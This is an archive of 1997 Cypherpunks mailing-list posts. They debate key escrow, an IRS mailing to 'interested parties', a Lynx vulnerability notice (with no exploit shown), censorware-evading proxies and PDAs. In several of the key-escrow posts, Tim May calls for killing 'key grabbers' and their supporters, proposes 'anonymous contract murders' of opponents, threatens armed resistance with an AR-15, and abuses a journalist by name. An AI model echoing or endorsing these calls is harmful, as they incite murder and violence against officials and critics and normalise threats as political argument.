PROBLEM:       Two vulnerabilities exist for Lynx: 1) temporary 
files, and
               2) LYDownload.c.
PLATFORM:      All Unix or Unix-like systems running Lynx up to and including
               version 2.7.1
DAMAGE:        1) May allow local users to gain root privileges.
               2) This vulnerability may be exploited by anyone who 
can provide
                  Lynx a carefully crafted URL.
SOLUTION:      Apply patches or workarounds listed below.

[...]  

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From cme at cybercash.com  Fri Jul 18 19:29:36 1997
From: cme at cybercash.com (Carl Ellison)
Date: Sat, 19 Jul 1997 10:29:36 +0800
Subject: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <3.0.3.32.19970718214858.00927e50@cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 03:25 PM 7/18/97 -0700, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

If you want to diddle with GAK provisions to make them just a little
more palatable (honey to make the pill go down?), I prefer my old one
from 1993 (and 4 and 5 and 6 ...).

Have the key split 12 ways, by XOR, so you need all 12, all have to 
agree the desire is justified and all can do whatever they want
with the information that the key request came in and was or was
not satisfied (by them):

1)	ACLU
2)	NRA
3)	Republican Nat'l Committee
4)	Democratic Nat'l Committee
5)	N Y Times
6)	Washington Post
7)	Christian Coalition
8)	Libertarian Party
9)	FBI
10)	NSA
11)	Speaker of the House of Representatives
12)	U S Supreme Court

Deliver requests by US Postal Service.

Have each session key released individually
(by having the sender split the session key 12 ways and
encrypt each piece under the public key of a different
agency listed above).

All requests include the name of the target and the
reason for the suspicion.  Since all the above can be
trusted, there will be no compromise of law enforcement
objectives.

 - Carl




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9AdCVQXJENzYr45AQGVPgP+LULZPUSQB+xOm8nv5RfNCnAPy3XgK4vR
rSxTuVw2kS/xVSb/gKNNfA5E4Eb+B/2H9zylfOe8Sz3ki5kWoP0xJvXhNIikNFb4
+fTJFClfWbONYag01kLQRjYiXvcVN+T6oH4s8490R2rgTpRebSG5opPMLaBTSpI8
R292Uw4719c=
=4+Ph
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From declan at well.com  Fri Jul 18 19:47:56 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 10:47:56 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 19:18:56 -0700 (PDT)
From: Declan McCullagh 
To: Danny Yee 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

I believe the ACLU gets most of its money from individual contributions.
(I may be remembering this from a conversation with some ACLUers.)

But Jonah has a point below. What's important is not just which
corporations fund a group, but whether the group sets policies based on
its funders' desires. 

I know the Cato Institute, for instance, lost money from corporate funders
during the Gulf War because of Cato's principled pacifist stance. I
suspect EPIC has remained at its modest (but effective) size because of
its principled uncompromising stance.

This goes back to the original debate: pragmatism vs. principle. How do
you stand on principle and remain an effective advocate in Washington? If
you navigate the route of pragmatism and compromise, what does that mean
for civil liberties? Can you avoid compromising them away?

I'm reminded of a scene in Lord of the Rings. Frodo offers the Ring to
Galadriel. She hesitates, then declines. She says she would have been
tempted by its power -- but transformed by it. "I will diminish, and
remain Galadriel." 

(This is from memory. It's been more than a couple years.)

-Declan


On Sat, 19 Jul 1997, Danny Yee wrote:

> > From: Jonah Seiger 
> > What critics on this list seem to fail to understand is that CDT, EFF,
> > EPIC, ACLU, etc. get financial support based on our positions and goals,
> > not the other way around.
>  
> Amnesty International does not accept funding from any state.  It seems
> to me that there's a very good reason for that.
> 
> I'd be interested to see a list of financial supporters of the ACLU
> and EFF.
> 
> Danny Yee.







From tcmay at got.net  Fri Jul 18 19:59:26 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 10:59:26 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.

What makes you think the "interest" is your interest in them?

It's _their_ interest in _you_.

Yes, I got _two_ copies of this message. I'm waiting to confirm it was
really sent by a sender at the IRS, namely, " IRS Inspection
", before taking action.

--Tim



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dave at bureau42.ml.org  Fri Jul 18 20:22:04 1997
From: dave at bureau42.ml.org (David E. Smith)
Date: Sat, 19 Jul 1997 11:22:04 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?

I did.  I may have been declared an `interested party' because I host
a copy of Bell's AP essays.  I certainly never asked to be put on
their list :)  (Also, it came to me via an older address, one which I
was about to close; if _this_ kind of weirdness keeps showing up,
I may have to keep it a while longer.

dave






From stewarts at ix.netcom.com  Fri Jul 18 20:25:50 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 19 Jul 1997 11:25:50 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: <3.0.2.32.19970718183128.006f575c@popd.ix.netcom.com>



At 10:58 AM 7/17/97 +0000, Paul Bradley wrote:
>To kill the bandwidth problem, maybe someone could write a local HTML 
>anti-PICS proxy, so, one would load up the web browser, point it at 
>http://localhost which would bring up a simple page with a box for the 
>URL to retrieve, the local proxy would then use HTTP to get the page, 
>strip of all existing PICS tags, insert new "no sex, no violence etc..." 
>tags, and forward the page on to the browser.

It's an obvious extension to CookieCutter.  It won't get you around
PICS systems that are configured to block unrated pages, or around
censorware systems that filter out naughty words, but it's still easy.

>However, I find it unlikely many censorous parents would have the 
>foresight to ensure the kids login couldn`t install other s/w such as an 
>old browser which doesn`t support PICS and would display the pages 
>anyway, so it looks like the whole discussion may lead nowhere, apart 
>from maybe the advantage of the new browsers other features being 
>preserved in the proxy route.

On the other hand, I predict censorware implementations that require
a specific proxy system (or prevents you from changing proxies),
you can't just point to your own decensoring proxy, and you can't
get to systems blocked by proxy.singapore.gov or imprimis.vatican.org
or be.nice.net or whomever your parent or in-loco-parentis is using.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Fri Jul 18 20:27:32 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 11:27:32 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



[fight-censorship at vorlon.mit.edu removed, as we are getting incredible
amounts of cross-pollution from lame posters who don't understand even the
basics of liberty. Disgusting.]


At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
>Joe Shea (via Declan McCullagh) writes:
>
>> 	Declan, what would you think if the actual keepers of the keys,
>> so to speak, were the courts, such as the Administratoive Office of the
>> US Courts?  That would at least seem to reduce a lot of the possible
>> privacy concerns.  One has the sense that once they get into the hands of
>> the varius agencies, they'll get back out.
>
>Why do I feel like we are going around and around in circles?
>
>How about we give copies of our house-keys to the courts?  We should
>also send them our old backup tapes, just in case they need them, too.

I obviously agree with Colin on this. My communications, writings, and
diaries are *mine*.

I have no idea who this "Joe Shea" is, but he seems ignorant of basic
concepts of life in a free society. Suggesting "better" holders of keys is
beside the point.

Anyone who tries to grab my keys should be killed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Fri Jul 18 20:29:13 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 19 Jul 1997 11:29:13 +0800
Subject: hand-held computers Re: Electronic commerce has long way   to go
In-Reply-To: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970718182120.006f575c@popd.ix.netcom.com>



At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>For those outside of Metricom's coverage areas, NovaTel Wireless
>http://www.novatelwireless.com is introducing a CDPD modem specifically
>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas

On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
while CDPD is generally some pennies per KB, which may be more or less
expensive than circuit-switched modem connections over cellular voice
depending on your usage patterns.  But it's widely available.

There are also services like ARDIS and RadioMail, and PCMCIA pager cards
offer some interesting options for sending encrypted messages to PDAs
even if it's just one-way.

Hand-helds are gradually adopting infrared ports, and I gather they're
even gradually standardizing on what kind.  My Psion is the earlier model
that uses wires for communication, as are some (all?) Pilots, but a 
friend who has the newer Psion3C connects its RS232 to a Metricom,
and uses Infrared to talk to his laser printer.  Back when Newtons were
the only PDA in town, two of them could talk IR to each other, and
there were some Cypherpunks discussions about how this would be nice
for ecash applications.  (The Psion also has audio input and output,
and there's a program that lets two Psions transfer data by growling
at each other, probably at 300bps.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From alan at ctrl-alt-del.com  Fri Jul 18 20:30:27 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sat, 19 Jul 1997 11:30:27 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 




On Fri, 18 Jul 1997, Tim May wrote:

> 
> At 3:56 PM -0700 7/18/97, Alan wrote:
> >I recieved this today via e-mail.  I find it strange since I have never
> >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> >my Cypherpunks mail shows up at a different address.
> 
> What makes you think the "interest" is your interest in them?
> 
> It's _their_ interest in _you_.

Yes.  It looks like every e-mail address on Jim Bell's computer got this
nice little "warning/example".

Has there ever been a case where seized e-mail addresses have been used to
spam those listed with the results of the case?

Where is Declan when you need him. ]:>

> Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> really sent by a sender at the IRS, namely, " IRS Inspection
> ", before taking action.

If it is a forgery, it is a *very* good forgery.  The addresses in the
header are registered to the US government.  The headers do not look like
the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
freind who also recieved this that has his copy of sendmail to keep pretty
impresive logs as to sender's identity.  It does not look like a spoof,
unless they hacked behind the IRS firewall.)


alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.







From tcmay at got.net  Fri Jul 18 20:42:00 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 11:42:00 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 




[I am leaving the distribution list alone, as I have no idea where the
locus of this discussion is. We are seeing serious cross-pollution of the
Cypherpunks list by crap from others lists.]

At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I'm really surprised to see this entire discussion resurface, especially
>without any apparent memory of the past 5 years that have hashed this topic
>over.
>

It hasn't resurfaced from anyone clued in to the real issues. Just some
reporters seeking "compromise." Fuck them.

Anyone who tries to grab my keys needs killing.

I have no more patience for "well-meaning" fools. We need anonymous
contract murders to get rid of this kind of scum, as force is the only
language they seem to understand.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From steve at xemacs.org  Fri Jul 18 21:04:01 1997
From: steve at xemacs.org (Steven L Baur)
Date: Sat, 19 Jul 1997 12:04:01 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



Alan   writes:

> If it is a forgery, it is a *very* good forgery.

It would be an *extraordinarily* good forgery.  Everything checks out.

Jul 18 15:44:47 sandy sendmail[16007]: PAA16007: from=, size=4959, class=0, pri=34959, nrcpts=1, msgid=<199707171625.MAA02707 at net.insp.irs.gov>, proto=SMTP, relay=tcs-gateway1.treas.gov [204.151.245.2]
Jul 18 15:44:48 sandy sendmail[16008]: PAA16007: to=steve at xemacs.miranova.com, delay=00:00:04, xdelay=00:00:00, mailer=esmtp, relay=xemacs.miranova.com. [206.190.83.19], stat=Sent (PAA15197 Message accepted for delivery)

>From irsnwpr at net.insp.irs.gov  Fri Jul 18 15:46:43 1997
Return-Path: 
Received: from sandy.calag.com (root at sandy [206.190.83.128])
        by altair.xemacs.org (8.8.6/8.8.6) with ESMTP id PAA15197
        for ; Fri, 18 Jul 1997 15:46:43 -0700
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
        by sandy.calag.com (8.8.6/8.8.6) with SMTP id PAA16007
        for ; Fri, 18 Jul 1997 15:44:44 -0700
Received: by tcs_gateway1.treas.gov id AA19614
  (InterLock SMTP Gateway 3.0 for steve at miranova.com);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:43:17 -0400
Date: Thu, 17 Jul 1997 12:25:26 -0400
From: IRS Inspection 
Message-Id: <199707171625.MAA02707 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest






From amp at pobox.com  Fri Jul 18 21:15:30 1997
From: amp at pobox.com (amp at pobox.com)
Date: Sat, 19 Jul 1997 12:15:30 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: 



=snip=

> > I also would like to mention the reader that yesterday's release of
> > MSIE 4.0b2 *does* have the ability to check CRL's.
> 
> Yes, we will add this feature in some future release.  It will be
> configurable, so if the user doesn't want to check CRLs he doesn't
> have to.

An excellent way of implementing it. 

 
> Aren't all certs VeriSign issues only valid for one year?  This isn't
> any different.
> 
> There's nothing preventing another CA from getting permission from the
> USG to issue these magic certs.  We would have to distribute a patch,
> but I don't see any problem with that.

uh, why does one need permission of the usg to issue "magic certs"?


------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/18/97
Time: 04:06:36
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From joeshea at netcom.com  Fri Jul 18 21:29:42 1997
From: joeshea at netcom.com (Joe Shea)
Date: Sat, 19 Jul 1997 12:29:42 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 




	And if Tim May does kill me, I hope someone has his key, or better
yet, can go make a showing to a judge and get it from him.  Then he won't
kill again.  I think this is the whole point of key escrow -- to make sure
people like the one Tim represents himself to be are people you can find
in the maze of the Internet.  Unfortunately -- well, not really -- I don't
think Tim is a trained killer who's going to search me out.  There are
plenty of them, though, and they are moving vast sums of stolen money and
nuclear weapon parts and stolen information all over the globe.  I see no
reason why we should be defenseless against them. At the same time, I 
don't think the keys should be in the hands of federal law enforcement 
agencies who have demonstrably screwed up big-time on an anwful lot of 
occasions.  Judges -- people like the Ninth Circuit Court of Appeals -- 
would look rather askance at requests for someone's key when it was no
more aggravating an issue than a piece of flame mail.  On the other hand, 
if someone's going to blow up San Francisco this week, it sure would help
to have a key to any encrypted communications he was generating.  Of course,
a lot of people would like to see it blow up, and maybe Tim is one of 
those, too.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea at netcom.com
http://www.newshare.com:9999


On Fri, 18 Jul 1997, Tim May wrote:

> 
> [I am leaving the distribution list alone, as I have no idea where the
> locus of this discussion is. We are seeing serious cross-pollution of the
> Cypherpunks list by crap from others lists.]
> 
> At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >I'm really surprised to see this entire discussion resurface, especially
> >without any apparent memory of the past 5 years that have hashed this topic
> >over.
> >
> 
> It hasn't resurfaced from anyone clued in to the real issues. Just some
> reporters seeking "compromise." Fuck them.
> 
> Anyone who tries to grab my keys needs killing.
> 
> I have no more patience for "well-meaning" fools. We need anonymous
> contract murders to get rid of this kind of scum, as force is the only
> language they seem to understand.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 






From tomw at netscape.com  Fri Jul 18 22:10:19 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sat, 19 Jul 1997 13:10:19 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: <33D04A75.31E08282@netscape.com>



amp at pobox.com wrote:
> 
>> There's nothing preventing another CA from getting permission from
>> the USG to issue these magic certs.  We would have to distribute a
>> patch, but I don't see any problem with that.
> 
> uh, why does one need permission of the usg to issue "magic certs"?

Because issuing these certs is defined as a "defense service".

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tcmay at got.net  Fri Jul 18 22:14:49 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 13:14:49 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



At 9:15 PM -0700 7/18/97, Joe Shea wrote:
>	And if Tim May does kill me, I hope someone has his key, or better
>yet, can go make a showing to a judge and get it from him.  Then he won't
>kill again.  I think this is the whole point of key escrow -- to make sure
>people like the one Tim represents himself to be are people you can find
>in the maze of the Internet.  Unfortunately -- well, not really -- I don't
>think Tim is a trained killer who's going to search me out.  There are
>plenty of them, though, and they are moving vast sums of stolen money and
>nuclear weapon parts and stolen information all over the globe.  I see no
>reason why we should be defenseless against them. At the same time, I

Why should we be "defenseless against them"?

Why should we be "defenseless" against those who plot crimes behind locked
doors, with curtains drawn? Why not simply enter at will?

And why be "defenseless" against those who speak in whispers, or those who
speak in languages the State and Defense Departments have no translators
for? Imprison the Navajo code talkers for speaking in an unapproved
language.

And why should the State be defenseless against those like Winston Smith
who keep illegal, unescrowed diaries? They might be plotting to move
nuclear weapons.

>don't think the keys should be in the hands of federal law enforcement
>agencies who have demonstrably screwed up big-time on an anwful lot of
>occasions.  Judges -- people like the Ninth Circuit Court of Appeals --
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand,
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.  Of course,
>a lot of people would like to see it blow up, and maybe Tim is one of
>those, too.
>
>Best,


Fuck you with all your "best" bullshit. You are the enemy.

My keys are my keys, period. If any Ninth Circuit stooge wants them, he'll
have to deal with my (illegal by their bullshit laws) AR-15.

You, of course, are quite welcome to voluntarily "escrow" your crypto keys,
your house keys, your car keys, and the codes to your diary with the local
or circuit judge of your choice. Just don't volunteer _my_ keys.

Got it?

Vermin like you are what is wrong with this country, and the reasons the
militias are gaining strength every day. A fucking house-cleaning is in
order.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri Jul 18 22:21:22 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 13:21:22 +0800
Subject: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: 



At 3:25 PM -0700 7/18/97, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

Beware this line of reasoning.

The fundamental reason why I will not turn over my keys, my diaries, my
tapes, my writings to some third party has nothing to do with this sort of
issue.

I really don't care if the Feds escrow their keys with the Pope...my keys
will *not* be given to anyone other than whom I choose to give them to.
Period.

All of this brainstorming about who might be the best choice to hold
"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
to use the same escrow system, misses this basic point. And plays into
their hands.

Kill the key grabbers and all those who support them. Isn't it exactly what
Patrick Henry, Thomas Jefferson, and the others would have argued?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lizard at dnai.com  Fri Jul 18 22:39:12 1997
From: lizard at dnai.com (Lizard)
Date: Sat, 19 Jul 1997 13:39:12 +0800
Subject: Keepers of the keys
Message-ID: <3.0.32.19970718221924.00aea760@dnai.com>



At 10:10 PM 7/18/97 -0700, Tim May wrote:
>All of this brainstorming about who might be the best choice to hold
>"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
>to use the same escrow system, misses this basic point. And plays into
>their hands.
>
>Kill the key grabbers and all those who support them. Isn't it exactly what
>Patrick Henry, Thomas Jefferson, and the others would have argued?
>
Sure. And that is, of course, the bottom line. But even if I was a rabid
national security freak, I'd *still* oppose key escrow, because it makes
the nation *less* secure. It's a loser on both liberty *and* security
grounds, and, since the liberty issue has already been conceded, the
(political) battleground is security. The "key escrow exposes us to spies"
meme has the capability to graft into the same mental reception points that
the "key escrow will save us from terrorists" meme is currently attached
to, much as 'blocker' viruses can prevent other viruses from infecting cells. 

If I were heading the NSA/CIA/FBI/etc, I'd be putting my budget into
getting ringers onto every BBS, every IRC channel, every 'warez' group,
every mailing list, everywhere, not wasting time on 'key escrow' when the
people I'd be most interested in tracking would never ever in a million
years turn their key over to the government. I'd be infiltrating,
subjerting, and getting keys the old fashined way -- by tricking people
into giving them to me. A key can be a gigabit in length and still be
cracked just by watching what someone types in to decode a message, and the
technology to do *that* is decades old, as are, sadly, the wiretap laws to
permit it. The "legitimate needs of law enforcement" are already far too
well served by existing holes shot in the Constitution -- there is no need
to make more, and doing so will defeat the putative aims of the hawks, as well.






From declan at pathfinder.com  Fri Jul 18 22:59:27 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 13:59:27 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.

Is it just me, or does anyone else remember a similar message being pumped
out about the same time Bell was raided (April 1).

-Declan


On Fri, 18 Jul 1997, Alan wrote:

> 
> On Fri, 18 Jul 1997, Tim May wrote:
> 
> > 
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > 
> > What makes you think the "interest" is your interest in them?
> > 
> > It's _their_ interest in _you_.
> 
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".
> 
> Has there ever been a case where seized e-mail addresses have been used to
> spam those listed with the results of the case?
> 
> Where is Declan when you need him. ]:>
> 
> > Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> > really sent by a sender at the IRS, namely, " IRS Inspection
> > ", before taking action.
> 
> If it is a forgery, it is a *very* good forgery.  The addresses in the
> header are registered to the US government.  The headers do not look like
> the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
> freind who also recieved this that has his copy of sendmail to keep pretty
> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)
> 
> 
> alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
> Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
> 
> 
> 






From declan at pathfinder.com  Fri Jul 18 23:03:02 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 14:03:02 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



FYI, Joe Shea filed one of the lawsuits against the CDA, Shea v. Reno, on
his own. He refused the join the ACLU's lawsuit against the act, calling
them pro-porn or somesuch. He's calmed down a bit since then,I think. His
lawsuit was put on hold by the SupCt while Reno v. ACLU was decided,then
the lower court's decision was summarily affirmed. Ironically, Shea was
represented by the same law firm that lost the Pacifica case.

I have a PCWorld article I wrote about Shea's suit a year+ ago at:
   http://www.eff.org/pub/Publications/Declan_McCullagh/

-Declan


On Fri, 18 Jul 1997, Tim May wrote:

> [fight-censorship at vorlon.mit.edu removed, as we are getting incredible
> amounts of cross-pollution from lame posters who don't understand even the
> basics of liberty. Disgusting.]
> 
> 
> At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
> >Joe Shea (via Declan McCullagh) writes:
> >
> >> 	Declan, what would you think if the actual keepers of the keys,
> >> so to speak, were the courts, such as the Administratoive Office of the
> >> US Courts?  That would at least seem to reduce a lot of the possible
> >> privacy concerns.  One has the sense that once they get into the hands of
> >> the varius agencies, they'll get back out.
> >
> >Why do I feel like we are going around and around in circles?
> >
> >How about we give copies of our house-keys to the courts?  We should
> >also send them our old backup tapes, just in case they need them, too.
> 
> I obviously agree with Colin on this. My communications, writings, and
> diaries are *mine*.
> 
> I have no idea who this "Joe Shea" is, but he seems ignorant of basic
> concepts of life in a free society. Suggesting "better" holders of keys is
> beside the point.
> 
> Anyone who tries to grab my keys should be killed.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 






From rah at shipwright.com  Fri Jul 18 23:16:16 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 19 Jul 1997 14:16:16 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: 



At 1:33 pm -0400 on 7/18/97, Tim May wrote:



"The Geodesic Network, OpendDoc, and CyberDog"
http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
 geodesic  software. It ended up in a much(!) shorter form as
a full-page opinion piece in InfoWorld two years ago this October.
Actually, it's about what happened to me at MacWorld almost exactly two
years ago.

Anyway, OpenDoc is now dead, probably because it wasn't geodesic enough, I
think. After all, it called itself a compound document archichitecture, and
people have figured out by now that software won't be about documents at
all.

OpenDoc, as implemented, layered too much onto an increasingly bloated
MacOS. It was awfully slow and required many twidgits and tweaks to make it
all go, and there wasn't enough stuff there when you were finished to want
